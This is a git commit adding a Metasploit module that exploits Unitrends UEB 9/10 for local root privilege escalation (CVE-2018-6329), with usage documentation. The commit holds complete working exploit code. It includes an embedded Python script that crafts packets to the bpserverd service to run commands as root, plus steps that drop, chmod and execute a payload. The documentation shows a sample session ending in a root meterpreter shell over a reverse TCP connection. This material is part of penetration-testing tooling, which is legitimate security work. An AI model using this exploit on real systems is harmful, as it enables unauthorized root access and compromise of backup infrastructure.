initial commit
parent
916b4b2261
commit
0717500610
|
@ -0,0 +1,41 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Unitrends UEB 9/10 local privesc
|
||||
|
||||
Still works on the demo version of the application available here:
|
||||
http://free-vmware-backup.unitrends.com/Unitrends-Free-VMware.ova
|
||||
|
||||
This exploit leverages bpserverd proprietary protocol to issue commands
|
||||
as root.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Get a shell with exploit/linux/http/ueb10_api_systems
|
||||
2. ```use exploit/linux/local/ueb_priv_esc ```
|
||||
3. ```set session [SESSION]```
|
||||
4. ```exploit```
|
||||
5. A highpriv meterpreter session should have been opened successfully
|
||||
|
||||
## Scenarios
|
||||
|
||||
### UEB 10.0 on CentOS 6.5
|
||||
|
||||
```
|
||||
msf > use exploit/linux/local/ueb_priv_esc
|
||||
msf exploit(linux/local/ueb_priv_esc) > set session 4
|
||||
session => 4
|
||||
msf exploit(linux/local/ueb_priv_esc) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 15.0.0.177:4444
|
||||
[*] Writing payload executable to '/tmp/pEFoythF'
|
||||
[*] Writing privesc script to '/tmp/CTZSovJR'
|
||||
[*] Fixing permissions
|
||||
[*] Sending stage (857352 bytes) to 10.20.1.202
|
||||
[*] Meterpreter session 5 opened (15.0.0.177:4444 -> 10.20.1.202:45188) at 2018-04-27 16:44:28 -0400
|
||||
[+] Deleted /tmp/pEFoythF
|
||||
[+] Deleted /tmp/CTZSovJR
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
|
||||
```
|
|
@ -0,0 +1,175 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info, {
|
||||
'Name' => 'Unitrends UEB 10 Privilege Escalation',
|
||||
'Description' => %q{
|
||||
It was discovered that the Unitrends Backup (UB) before 10.1.0 libbpext.so
|
||||
authentication could be bypassed with a SQL injection, allowing a remote
|
||||
attacker to place a privilege escalation exploit on the target system and
|
||||
subsequently execute arbitrary commands.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Cale Smith', # @0xC413
|
||||
'Benny Husted', # @BennyHusted
|
||||
'Jared Arave' # @iotennui
|
||||
],
|
||||
'DisclosureDate' => 'Mar 14 2018',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/000006003'],
|
||||
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2018-6329'],
|
||||
['URL', 'http://blog.redactedsec.net/exploits/2018/04/20/UEB9_tcp.html'],
|
||||
['EDB', '44297'],
|
||||
['CVE', '2018-6329'],
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'UEB <= 10.0', { } ]
|
||||
],
|
||||
'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 2 },
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'DefaultTarget' => 0
|
||||
}
|
||||
))
|
||||
register_advanced_options([
|
||||
OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"])
|
||||
])
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
##
|
||||
# This local privesc works by dropping the following python
|
||||
# privesc script on the host. This script is just a local verion
|
||||
# of this: https://www.exploit-db.com/exploits/42957/
|
||||
|
||||
pe_script = %q{
|
||||
import socket
|
||||
import binascii
|
||||
import struct
|
||||
import time
|
||||
import sys
|
||||
from optparse import OptionParser
|
||||
|
||||
# Parse command line args:
|
||||
usage = "Usage: %prog -c 'touch /tmp/foooooooooooo'"
|
||||
|
||||
parser = OptionParser(usage=usage)
|
||||
parser.add_option("-c", '--cmd', dest='cmd', action="store",
|
||||
help="Run a custom command, no reverse shell for you.")
|
||||
parser.add_option("-x", '--xinetd', dest='xinetd', action="store",
|
||||
type="int", default=1743,
|
||||
help="port on which xinetd is running (default: 1743)")
|
||||
|
||||
(options, args) = parser.parse_args()
|
||||
|
||||
RHOST = '127.0.0.1'
|
||||
XINETDPORT = options.xinetd
|
||||
cmd = options.cmd
|
||||
|
||||
def recv_timeout(the_socket,timeout=2):
|
||||
the_socket.setblocking(0)
|
||||
total_data=[];data='';begin=time.time()
|
||||
while 1:
|
||||
#if you got some data, then break after wait sec
|
||||
if total_data and time.time()-begin>timeout:
|
||||
break
|
||||
#if you got no data at all, wait a little longer
|
||||
elif time.time()-begin>timeout*2:
|
||||
break
|
||||
try:
|
||||
data=the_socket.recv(8192)
|
||||
if data:
|
||||
total_data.append(data)
|
||||
begin=time.time()
|
||||
else:
|
||||
time.sleep(0.1)
|
||||
except:
|
||||
pass
|
||||
return ''.join(total_data)
|
||||
|
||||
print "[+] attempting to connect to xinetd on {0}:{1}".format(RHOST, str(XINETDPORT))
|
||||
|
||||
try:
|
||||
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s1.connect((RHOST,XINETDPORT))
|
||||
except:
|
||||
print "[!] Failed to connect!"
|
||||
exit()
|
||||
|
||||
data = s1.recv(4096)
|
||||
bpd_port = int(data[-8:-3])
|
||||
|
||||
try:
|
||||
pass
|
||||
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s2.connect((RHOST, bpd_port))
|
||||
except:
|
||||
print "[!] Failed to connect!"
|
||||
s1.close()
|
||||
exit()
|
||||
|
||||
print "[+] Connected! Sending the following cmd to {0}:{1}".format(RHOST,str(XINETDPORT))
|
||||
print "[+] '{0}'".format(cmd)
|
||||
|
||||
cmd_len = chr(len(cmd) + 3)
|
||||
packet_len = chr(len(cmd) + 23)
|
||||
|
||||
packet = '\\xa5\\x52\\x00\\x2d'
|
||||
packet += '\\x00' * 3
|
||||
packet += packet_len
|
||||
packet += '\\x00' * 3
|
||||
packet += '\\x01'
|
||||
packet += '\\x00' * 3
|
||||
packet += '\\x4c'
|
||||
packet += '\\x00' * 3
|
||||
packet += cmd_len
|
||||
packet += cmd
|
||||
packet += '\\x00' * 3
|
||||
|
||||
s1.send(packet)
|
||||
|
||||
data = recv_timeout(s2)
|
||||
|
||||
print data
|
||||
|
||||
s1.close()
|
||||
#s2.close()
|
||||
}
|
||||
|
||||
pl = generate_payload_exe
|
||||
exe_path = "#{datastore['WritableDir']}/#{rand_text_alpha(6 + rand(5))}"
|
||||
print_status("Writing payload executable to '#{exe_path}'")
|
||||
|
||||
write_file(exe_path, pl)
|
||||
register_file_for_cleanup(exe_path)
|
||||
|
||||
pes_path = "#{datastore['WritableDir']}/#{rand_text_alpha(6 + rand(5))}"
|
||||
print_status("Writing privesc script to '#{pes_path}'")
|
||||
|
||||
write_file(pes_path, pe_script)
|
||||
register_file_for_cleanup(pes_path)
|
||||
|
||||
print_status("Fixing permissions")
|
||||
vprint_status cmd_exec("chmod +x #{exe_path}")
|
||||
vprint_status cmd_exec("chmod +x #{pes_path}")
|
||||
|
||||
vprint_status cmd_exec("python #{pes_path} -c '#{exe_path}'")
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue